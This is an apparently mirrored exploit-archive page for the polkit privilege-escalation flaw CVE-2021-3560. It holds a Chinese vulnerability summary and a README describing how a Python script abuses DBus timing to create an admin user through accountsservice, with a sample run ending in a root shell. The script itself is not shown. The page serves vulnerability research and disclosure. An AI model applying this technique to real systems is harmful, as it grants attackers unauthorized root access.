POC详情: e7fe5563273e6e0d7e8a3319467af69919e83e64

来源
关联漏洞
标题: polkit 代码问题漏洞 (CVE-2021-3560)
描述:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则,实现不同优先级进程间的通讯。 polkit 存在代码问题漏洞,该漏洞源于当请求进程在调用polkit_system_bus_name_get_creds_sync之前断开与dbus-daemon的连接时,该进程无法获得进程的唯一uid和pid,也无法验证请求进程的特权。
描述
Privilege escalation with polkit - CVE-2021-3560
介绍
# Polkit-exploit - CVE-2021-3560
Privilege escalation with polkit - CVE-2021-3560

# Summary 
CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

# Exploit Code Author
Ahmad Almorabea
@almorabea
http://almorabea.net

# Usage
```
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#
```

# Demo
GUI Authentication
******
![](CVE-2021-3560-Auth-On.gif)

Terminal Authentication
******
![](CVE-2021-3560-Root.gif)

# Credit
Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)
文件快照

[4.0K] /data/pocs/e7fe5563273e6e0d7e8a3319467af69919e83e64 ├── [4.7M] CVE-2021-3560-Auth-On.gif ├── [2.4K] CVE-2021-3560.py ├── [1.7M] CVE-2021-3560-Root.gif └── [1.6K] README.md 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。